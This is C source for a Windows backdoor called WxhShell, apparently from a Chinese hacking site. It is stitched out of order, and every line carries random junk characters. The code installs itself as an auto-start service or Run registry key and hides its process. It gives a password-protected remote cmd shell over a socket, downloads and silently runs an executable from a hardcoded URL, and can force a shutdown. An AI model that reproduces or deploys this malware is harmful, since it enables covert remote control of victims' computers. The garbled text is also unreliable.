  // 关机 {brMqE>P#  
  case 'd': { &'l>rD^o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -T6(hT\  
    if(Boot(SHUTDOWN)) CIjZG?A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'WHHc 9rG,  
    else { `>DP,D)w(  
    closesocket(wsh); :Q+5,v-c  
    ExitThread(0); I ];M7  
    } ylKmj]A  
    break; #k3t3az2{  
    } 1Y_w5dU  
  // 获取shell "^I mb,  
  case 's': { Nr2C@FU:0  
    CmdShell(wsh); t>B^q3\q?  
    closesocket(wsh); zo;^m|  
    ExitThread(0); J8y0d1SG  
    break; \, !Q Jp4  
  } \.XLcz  
  // 退出 Q4t(@0e}  
  case 'x': { 8 i&_Jgmr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y-ux7F{=z  
    CloseIt(wsh); +.RKi !  
    break; ] 4+s$rG  
    } PL{Q!QJK'  
  // 离开 74<!&t  
  case 'q': { PNW \*;j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7^} Ll@  
    closesocket(wsh); /S:F)MO9  
    WSACleanup(); yBLK$@9  
    exit(1); p2PY@d}}.  
    break; cNzt%MjP  
        } (]/9-\6(#  
  } bbxLBD'  
  } .I3?7  
bYe;b><G  
  // 提示信息 !~_zm*CqbZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tgL$"chj@x  
} `ovtHl3Q  
  } 4Ij-Ilg)%  
i?Ss:v^  
  return; hO{cvHy`  
} .s/fhk,  
*9ywXm&?  
// shell模块句柄 Ba\6?K  
int CmdShell(SOCKET sock) 3p?KU-  
{ T+LJ* I4  
STARTUPINFO si; j?b\+rr  
ZeroMemory(&si,sizeof(si)); `"vZ);i <  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pIW I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Es5  
PROCESS_INFORMATION ProcessInfo; KC e13!  
char cmdline[]="cmd"; |L_wX:d`9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uGdp@]z&8Q  
  return 0; BiE08,nj  
} :5GZ\Z8F  
'2hbJk  
// 自身启动模式 >Ps7I  
int StartFromService(void) uhN%Aj\iu(  
{ NGYyn`Lx  
typedef struct h5 Vv:C  
{ +b;hBb]R  
  DWORD ExitStatus; IB.yU,v  
  DWORD PebBaseAddress; S\y%4}j  
  DWORD AffinityMask; Z,N$A7SBE  
  DWORD BasePriority; 7iu Q9q^&  
  ULONG UniqueProcessId; - ~O'vLG  
  ULONG InheritedFromUniqueProcessId; Q5S,{ ZeT  
}   PROCESS_BASIC_INFORMATION; &PcyKpyd  
ryO$6L  
PROCNTQSIP NtQueryInformationProcess; S)He$B$pp  
n$m"]inX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Oc9#e+_&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ct$82J  
-6Tk<W  
  HANDLE             hProcess; @|bP+8oU  
  PROCESS_BASIC_INFORMATION pbi; g|PC$p-z+  
0f ER*.F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8 l/[(] &  
  if(NULL == hInst ) return 0; 1|,Pq9  
gG54:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N132sN2   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fYebB7Pv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eT"Uxhs-}  
fbZibcQ%k  
  if (!NtQueryInformationProcess) return 0; OH<?DcfeL  
T0j2a &Pv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IL7`0cN(  
  if(!hProcess) return 0; jW*1E *"  
:ZdUx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JU0]Wq<^[  
%R_{1GrL'c  
  CloseHandle(hProcess); m$>iS@R  
=fc: 6JR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ L:cjY/  
if(hProcess==NULL) return 0; Hv#q:R8  
lQPqcZd  
HMODULE hMod; 4C~UcGMv\  
char procName[255]; " oy\_1|  
unsigned long cbNeeded; jm>3bd  
Hr;h4J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &UAe!{E0  
5,+\`!g  
  CloseHandle(hProcess); )J/HkOj"V  
uMXc0fs!$  
if(strstr(procName,"services")) return 1; // 以服务启动 .uZ7 -l  
@^nu #R  
  return 0; // 注册表启动 _3Q8n|  
} Mjpo1dw  
@b!"joEy  
// 主模块 WoL9V"]  
int StartWxhshell(LPSTR lpCmdLine) B_3QQ tjAl  
{ e xR^/|BR  
  SOCKET wsl; O^{1RV3:,T  
BOOL val=TRUE; t7#lsd`_  
  int port=0; WbjF]b\  
  struct sockaddr_in door; #/J 'P[z  
upn8n vy4(  
  if(wscfg.ws_autoins) Install(); 8 ?TKN~ja  
lpQP"%q  
port=atoi(lpCmdLine); TZ^LA L'8_  
aP~gaSx  
if(port<=0) port=wscfg.ws_port; ph30'"[Z}  
6=|&tE  
  WSADATA data; 6DS43AQs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (4~WWU (iT  
v<rF'D2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L0Vgo<A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f~& a-  
  door.sin_family = AF_INET; u'9gVU B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D\L!F6taS  
  door.sin_port = htons(port); Yt1mB[&f^  
~P1_BD(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !oSLl.fQd  
closesocket(wsl); 4-4?IwS  
return 1; H;vZm[\0N-  
} QrjDF>   
i3V/`)iz  
  if(listen(wsl,2) == INVALID_SOCKET) { Hw_o w?  
closesocket(wsl); \&|CM8A  
return 1; ?_4^le[;  
} :F|\Ij0T  
  Wxhshell(wsl); *c]KHipUIS  
  WSACleanup(); =DgC C|p  
&W_th\%  
return 0; 4be> `d5j  
MZm'npRf  
} k0K A~  
744=3v  
// 以NT服务方式启动 9{J?HFw*;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w$Ux?y- L  
{ to3?$-L  
DWORD   status = 0; aPIr_7e  
  DWORD   specificError = 0xfffffff; L4974E?S  
3A0_C?E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fp !:u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L=A\ J^%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =3+L#P=i9  
  serviceStatus.dwWin32ExitCode     = 0; l:e9y$_)  
  serviceStatus.dwServiceSpecificExitCode = 0; \ XH@b6{  
  serviceStatus.dwCheckPoint       = 0; VyZV (k  
  serviceStatus.dwWaitHint       = 0; +t\^(SJ6  
sWxK~Yg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D u_$C[  
  if (hServiceStatusHandle==0) return;  v4<j   
c8Pb  
status = GetLastError(); jPwef##~7  
  if (status!=NO_ERROR) Z.jCera.  
{ 3ut_Bt\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WM< \e  
    serviceStatus.dwCheckPoint       = 0; OD4W}Y.  
    serviceStatus.dwWaitHint       = 0; jb@\i@-  
    serviceStatus.dwWin32ExitCode     = status; {g=b]yg\o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,?=KgG1i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z-Hkz  
    return; (&Q)EBdm  
  } H1UL.g%d=  
HWtPLlNt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !LSs9_w  
  serviceStatus.dwCheckPoint       = 0; Q_lu`F|  
  serviceStatus.dwWaitHint       = 0; EVz9WY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p$OD*f_b  
} 9eSRCLhgD  
/RF%1!M K  
// 处理NT服务事件,比如:启动、停止 1M+Zkak7p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) el Kx]%k*)  
{ y9 uVCR  
switch(fdwControl) i7v/A&Rc  
{ Z[;#|$J  
case SERVICE_CONTROL_STOP: *PcVSEP/0  
  serviceStatus.dwWin32ExitCode = 0; @,6ST0xT (  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =YoTyq\  
  serviceStatus.dwCheckPoint   = 0; sMJ#<w}Q  
  serviceStatus.dwWaitHint     = 0; -- S"w@  
  { lZ a?Y@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vahf]2jEB  
  } NKh,z& _5-  
  return; 'Kd7l}e!  
case SERVICE_CONTROL_PAUSE: `i4I!E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !u0U5>ccw  
  break; .CmL7 5  
case SERVICE_CONTROL_CONTINUE: #_p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oP-;y&AS  
  break; S-,kI  
case SERVICE_CONTROL_INTERROGATE: 7,su f }=  
  break; +3?`M<L0  
}; R#fy60  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;y>'yq}  
} Jk~UEqr+  
cUM_ncYOP  
// 标准应用程序主函数 ] zIfC>@R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ V5S4E  
{ (\uA AW"  
3GINv3_  
// 获取操作系统版本 7 s-`QdWX  
OsIsNt=GetOsVer(); y[p6y[r*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bfn]-]>sD  
5:_~mlfi  
  // 从命令行安装 Fj3^ #ly  
  if(strpbrk(lpCmdLine,"iI")) Install(); #mTMt;x  
Ctj8tK$D  
  // 下载执行文件 )+k[uokj  
if(wscfg.ws_downexe) { 5Q;dnC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [wIKK/O  
  WinExec(wscfg.ws_filenam,SW_HIDE); -g$O OJB6  
} _X?y ,#  
7(5]Ry:  
if(!OsIsNt) { yHtGp%j  
// 如果时win9x,隐藏进程并且设置为注册表启动 8tC+ lc  
HideProc(); 5D-BIPn=JV  
StartWxhshell(lpCmdLine); e18T(g_i  
} W&LBh%"g  
else ZnQ27FcW  
  if(StartFromService()) B~4mk  
  // 以服务方式启动 ~q5-9{ma  
  StartServiceCtrlDispatcher(DispatchTable); 2}|vWKej{  
else Ol_/uy1r[  
  // 普通方式启动 l]/> `62  
  StartWxhshell(lpCmdLine); 7j95"mI  
R>` ih&,)  
return 0; 8|Q4-VK<!  
} 5bF5~D(E  
L:Ed-=|Uw  
TA<hj[-8  
y8}"DfU.  
=========================================== w[M5M2CF  
Hq79/ wKj  
QZ:v  
;7)OSGR  
T+3k$G[e/  
3me<~u  
" $<14JEU  
XuA0.b%  
#include <stdio.h> @b8X%0B7  
#include <string.h> ScsWnZ  
#include <windows.h> ^Y#@$c  
#include <winsock2.h> '|J)ds  
#include <winsvc.h> ,%.:g65%  
#include <urlmon.h> d7\k  gh  
!HbqbS22  
#pragma comment (lib, "Ws2_32.lib") 37,L**Dgs  
#pragma comment (lib, "urlmon.lib") C!`>cUhE{  
c;nx59w ]q  
#define MAX_USER   100 // 最大客户端连接数 &boj$ k!g[  
#define BUF_SOCK   200 // sock buffer i<0D Z_rub  
#define KEY_BUFF   255 // 输入 buffer o<~-k,{5P  
m*OLoZVy  
#define REBOOT     0   // 重启 rn[$x(G  
#define SHUTDOWN   1   // 关机 ,WzG.3^m  
`s#sE.=o  
#define DEF_PORT   5000 // 监听端口 qW+=g]x\  
HarYV :  
#define REG_LEN     16   // 注册表键长度 vRq=m8  
#define SVC_LEN     80   // NT服务名长度 (xjqB{U  
6MrZ6dz^  
// 从dll定义API #R5we3&p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / O|Td'Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k q/t]%(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6zELe.tq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5+J 64_  
t*5z1T?  
// wxhshell配置信息 z0=Rp0_W  
struct WSCFG { rwasH,+  
  int ws_port;         // 监听端口 Sa( yjF1  
  char ws_passstr[REG_LEN]; // 口令 Ks9FnDm8  
  int ws_autoins;       // 安装标记, 1=yes 0=no #_JA5W+E  
  char ws_regname[REG_LEN]; // 注册表键名 Qd 9-u)L<  
  char ws_svcname[REG_LEN]; // 服务名 6@*5! ,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M9g~lKs'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cH+h=E=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .G7]&5s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &?}kL= h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5B8V$ X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NKupOJJq  
dcV,_  
}; {d&X/tT  
)er?*^9Z  
// default Wxhshell configuration nNd`]F^U  
struct WSCFG wscfg={DEF_PORT, j;$6F/g  
    "xuhuanlingzhe", ]J8KCjq@  
    1, OHx,*}N  
    "Wxhshell", u^j8 XOT  
    "Wxhshell", ^D% }V-"  
            "WxhShell Service", *#ob5TBq[  
    "Wrsky Windows CmdShell Service", 9;>@"e21R  
    "Please Input Your Password: ", #rSasucr  
  1, [8B tIv  
  "http://www.wrsky.com/wxhshell.exe", pCB 5wB  
  "Wxhshell.exe" :w?:WH?2L  
    }; vLi/'|7  
ZX~>uf\n  
// 消息定义模块 vB&F_"/X2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > C*?17\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _"R3N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [=]+lei  
char *msg_ws_ext="\n\rExit."; 7,) 67G;  
char *msg_ws_end="\n\rQuit."; )*psDjZ7*  
char *msg_ws_boot="\n\rReboot..."; P5yJO97  
char *msg_ws_poff="\n\rShutdown..."; Bt |9%o06l  
char *msg_ws_down="\n\rSave to "; 4GMa5]Ft  
0A #9C09  
char *msg_ws_err="\n\rErr!"; tdMP,0u  
char *msg_ws_ok="\n\rOK!"; ,yB?~  
"ZA$"^  
char ExeFile[MAX_PATH]; B,BOzpb(  
int nUser = 0; 9 AQ96  
HANDLE handles[MAX_USER]; E|F!S(.:,M  
int OsIsNt; N'lGA;}i  
J};u25:}  
SERVICE_STATUS       serviceStatus; A{DIp+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7 K;'7  
P3,Z5|)  
// 函数声明 X~IRpzC  
int Install(void); [[/ }1%  
int Uninstall(void); wHB Hkz  
int DownloadFile(char *sURL, SOCKET wsh); CrRQPgl+u  
int Boot(int flag); 60U{ e}Mkb  
void HideProc(void); c5T~0'n  
int GetOsVer(void); 1)P<cNj  
int Wxhshell(SOCKET wsl); <Y}"D Yt  
void TalkWithClient(void *cs); Ti9:'I  
int CmdShell(SOCKET sock); ZTgAZ5_cz  
int StartFromService(void); ;*<{*6;=?  
int StartWxhshell(LPSTR lpCmdLine); Nf/ hr%jL  
CA~em_dC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0x3 h8fs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h=i A;B^>  
Xa@ _^oL  
// 数据结构和表定义 ~I/>i&|M1  
SERVICE_TABLE_ENTRY DispatchTable[] = $ly#zQR  
{ <ZHY3  
{wscfg.ws_svcname, NTServiceMain}, lzr>WbM{{p  
{NULL, NULL} :$GL.n-?  
}; RJ=c[nb  
wM2)KM}$  
// 自我安装 U 3wsWSO  
int Install(void) B4\:2hBq  
{ ]|((b/L3  
  char svExeFile[MAX_PATH]; hX'z]Am<  
  HKEY key; _4XoUE\\  
  strcpy(svExeFile,ExeFile); Sug~FV?k$e  
8zWBXV  
// 如果是win9x系统,修改注册表设为自启动 ?C#F?N0  
if(!OsIsNt) { cW~6@&zp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]$?zT`>(F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m"?' hR2  
  RegCloseKey(key); \U<F\i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k Nf!j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^t^<KL;  
  RegCloseKey(key); Un8#f+odR  
  return 0; )LMBxyS  
    } f/IRO33  
  } =@ L5  
} 'EH  
else { Gg3?2h"d  
~' Qpf 8)  
// 如果是NT以上系统,安装为系统服务 ^%4( %68  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5wE !_ng>|  
if (schSCManager!=0) &ESR1$)'P  
{ @LkW_  
  SC_HANDLE schService = CreateService ![X.%  
  ( SCI-jf3WN  
  schSCManager, 7Y @=x#  
  wscfg.ws_svcname, )l[7;ZIw$  
  wscfg.ws_svcdisp, Vbqm]2o&  
  SERVICE_ALL_ACCESS, 1=o(sIeA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3' :[i2[  
  SERVICE_AUTO_START, Bgo"JNM  
  SERVICE_ERROR_NORMAL, 79c9 +  
  svExeFile, ./BP+\)l O  
  NULL, *~t$k56  
  NULL, (X`t"*y"  
  NULL, [pC-{~  
  NULL, (8m\#[T+R  
  NULL U7f&N  
  ); NkjQyMF  
  if (schService!=0) No92Y^~/  
  { OL mBh3&  
  CloseServiceHandle(schService); ;hfG$ {l;  
  CloseServiceHandle(schSCManager); |+4E 8;4_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~A:;?A'.  
  strcat(svExeFile,wscfg.ws_svcname); b$`4Nn|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <+i`W7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q'Jpsmwu  
  RegCloseKey(key); %f3Nml  
  return 0; E{k%d39>  
    } L[[H&#\  
  } A0N ;VYv  
  CloseServiceHandle(schSCManager); IpaJ<~ p  
} !i"9f_  
} dC;d>j,  
>`,#%MH#  
return 1; EK-bvZ  
} pg}DC0a  
MS*Mem,  
// 自我卸载 enD C#  
int Uninstall(void) DRB YH(  
{ i]^*J1a  
  HKEY key; vsr~[d=  
aY1#K6(y  
if(!OsIsNt) { j|$y)FBX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lw2YP[CR  
  RegDeleteValue(key,wscfg.ws_regname); E/ed0'|m  
  RegCloseKey(key); XGrxzO|{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rp@}9qijb  
  RegDeleteValue(key,wscfg.ws_regname); \8>N<B)  
  RegCloseKey(key); )>A%FL9  
  return 0; 0 *Yivx6  
  } C6T 9  
} Nm :|C 3_I  
} kp &XX|  
else { ;Wrd=)Ka  
s)&R W#:X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =ILo`Q~  
if (schSCManager!=0) xzf)_ <  
{ ]I*#R9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |sZ9 /G7  
  if (schService!=0)  q&Ua(I  
  { J`D<  
  if(DeleteService(schService)!=0) { :-'ri Ry  
  CloseServiceHandle(schService); LM`tNZ1Fc!  
  CloseServiceHandle(schSCManager); cF<DUr)Ve  
  return 0; %!hA\S  
  } 7QL) }b.H  
  CloseServiceHandle(schService); >5@ 0lYhH  
  } b!tZbX#  
  CloseServiceHandle(schSCManager); E6&uZr  
} r Xk   
} +iDz+3v(  
8#JyK+NU  
return 1; wYxFjXm  
} >8HRnCyp/  
+w}%gps  
// 从指定url下载文件 P9HPr2  
int DownloadFile(char *sURL, SOCKET wsh) * jNu?$  
{ nOoh2jUM  
  HRESULT hr; E=U^T/  
char seps[]= "/"; ^~k FC/tQ  
char *token; gdn,nL`dP  
char *file; !Q/O[6  
char myURL[MAX_PATH]; PL B=%[  
char myFILE[MAX_PATH]; ++RmaZ  
sVl:EVv  
strcpy(myURL,sURL); 5<ya;iK  
  token=strtok(myURL,seps); 9mtC"M<   
  while(token!=NULL) o>k-~v7  
  {  u^eC  
    file=token; Hn2Q1lF-ip  
  token=strtok(NULL,seps); _xwfz]lb+  
  } <qj@waKw4  
KqIe8bi^G  
GetCurrentDirectory(MAX_PATH,myFILE); gRd1(S  
strcat(myFILE, "\\"); Uc;IPS  
strcat(myFILE, file); |P?B AWYeQ  
  send(wsh,myFILE,strlen(myFILE),0); -`<N,  
send(wsh,"...",3,0); gmH0-W)=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HE .Dl7 {  
  if(hr==S_OK) p.7p,CyB  
return 0; RPqn#B  
else rlh6\Fa  
return 1; g<jK^\e W  
-Y,Ibq  
} 5UD;Z V%  
*xNjhR]7v  
// 系统电源模块 K?<Odw'k  
int Boot(int flag) ^\t">NJ^  
{ |vE#unA  
  HANDLE hToken; ]V7hl#VO  
  TOKEN_PRIVILEGES tkp; *>H'@gS  
4>eg@sN  
  if(OsIsNt) { 8k}CR)3@C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \A"a>e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9jFDBy+  
    tkp.PrivilegeCount = 1; |"&4"nwa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Olrw>YbW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?fwr:aP~  
if(flag==REBOOT) { ~9 nrS9)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k5<0M'  
  return 0; 9 CSz<[  
} QLLV OJi  
else { Zl/+HU~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z>#$#:Z4  
  return 0; ,(b~L<zN&  
} Z?[J_[ZtR3  
  } C 5!6k1TcE  
  else { 3]82gZG G  
if(flag==REBOOT) { [-}%B0S**  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e"09b<69  
  return 0; "[Lp-4A\  
} m/c~2?-;  
else { T>?1+mruM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u"3cSuqy  
  return 0; lw lW.C  
} D#(Pg  
} }=R|iz*,!  
vx,6::%]  
return 1; )CU(~s|s  
} ov}{UP]a?  
Xc<9[@  
// win9x进程隐藏模块 Cf 8 - %  
void HideProc(void) J8[Xl.  
{ dTNgrW`4  
ITOGD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?7dDQI7^(  
  if ( hKernel != NULL ) RLr-xg$K-t  
  { dz DssAHy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .j,&/y&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r+obm)Qtp  
    FreeLibrary(hKernel); zXO.NSC[  
  } *Fs^T^ ?r  
Msdwv.jM  
return; DGUU1 vA  
} !S<~(Ujyw  
U4/$4.'NQ  
// 获取操作系统版本 ` OK }q  
int GetOsVer(void) p`ZGV97  
{ p#I1l2nE  
  OSVERSIONINFO winfo; X> KsbOZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cE#Y,-f  
  GetVersionEx(&winfo); s;)tLJ!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;<Q_4 V  
  return 1; @J)vuGS  
  else &0blHDMj{#  
  return 0; (6aZQ`H  
} :"^$7  
 HuC lO  
// 客户端句柄模块 Y`RfE  
int Wxhshell(SOCKET wsl) F:U_gW?  
{ Gj0NN:  
  SOCKET wsh; cZ,_O~  
  struct sockaddr_in client; z[Qv}pv  
  DWORD myID; Z/;SR""wa  
mcracj[ B  
  while(nUser<MAX_USER) Q?q m~wD  
{ m]vr|:{6/  
  int nSize=sizeof(client); 6C5qW8q]u3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %?y`_~G  
  if(wsh==INVALID_SOCKET) return 1; {hR23eE)#  
\/G Y0s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ld6@&34  
if(handles[nUser]==0) EORAx  
  closesocket(wsh); 8t"DQ Y-R  
else /otgFQ_  
  nUser++;  #pK)  
  } Sn,z$-;h;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rx<F^J  
(x!bZ,fu  
  return 0; P$yJA7]j;%  
} e4P.G4  
%stktVDAP  
// 关闭 socket b /ySt<  
void CloseIt(SOCKET wsh) 4j{ }{  
{ AEJm/8,T  
closesocket(wsh); U9s y]7  
nUser--; S] a$w5ZP  
ExitThread(0); &!Vp'l\9  
} ]vrs?  
}8e %s;C  
// 客户端请求句柄 : Dlk `?  
void TalkWithClient(void *cs) '{~ ej:  
{ v|z1nD!?]  
u,q#-d0g;  
  SOCKET wsh=(SOCKET)cs; ZvJx01F{  
  char pwd[SVC_LEN]; jTIn@Q  
  char cmd[KEY_BUFF]; ^~od*:  
char chr[1]; cR} =3|t  
int i,j; ~+hG}7(:  
wz=I+IN:  
  while (nUser < MAX_USER) { Gz:a1-x  
h:wD &Fh8  
if(wscfg.ws_passstr) { [%y D,8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M`FL&Ac  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GKr L  
  //ZeroMemory(pwd,KEY_BUFF); 8Sa<I .l  
      i=0; Os;\\~e5  
  while(i<SVC_LEN) { 3i1>EjML  
C 0wq  
  // 设置超时 x$*OglaS  
  fd_set FdRead; aMWNZv  
  struct timeval TimeOut; P[~a'u  
  FD_ZERO(&FdRead); MaM7u:kD#  
  FD_SET(wsh,&FdRead); a6C ~!{'nW  
  TimeOut.tv_sec=8; n_j[hA  
  TimeOut.tv_usec=0; wim}}^H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8?!Vr1x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jC=_>\<|X*  
P? n`n!qZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $hapSrS  
  pwd=chr[0]; (H7q[UG|  
  if(chr[0]==0xd || chr[0]==0xa) { $I%]jAh6  
  pwd=0; .*{LPfD|  
  break; YDJc@*D  
  } !% Md9Mu!o  
  i++; f QdQ[  
    } pe8MG(V  
TaH9Nu  
  // 如果是非法用户,关闭 socket \uH;ng|m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rh|&{Tf  
} e"Z~%,^A  
z!tHn#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t<-Iiq+tL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $= gv  
d>f5T l\E  
while(1) { {fWZ n  
,h"M{W$  
  ZeroMemory(cmd,KEY_BUFF); Q6E80>  
8in8_/x  
      // 自动支持客户端 telnet标准   rQF%;  
  j=0; :HC{6W`$  
  while(j<KEY_BUFF) { q :gH`5N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >*&[bW'}?  
  cmd[j]=chr[0]; \W4SZR%u  
  if(chr[0]==0xa || chr[0]==0xd) { ^B<jMt  
  cmd[j]=0; c8'?Dd  
  break; ;XjKWM;  
  } TSeAC[%pL  
  j++; e>/PW&Z8Z  
    } wp$=lU{B  
G7u85cie  
  // 下载文件 ]M.ufbguq  
  if(strstr(cmd,"http://")) { '(?@R5a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ] GJskBm  
  if(DownloadFile(cmd,wsh)) MEE]6nU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mppb34y  
  else 'yl`0,3wV  
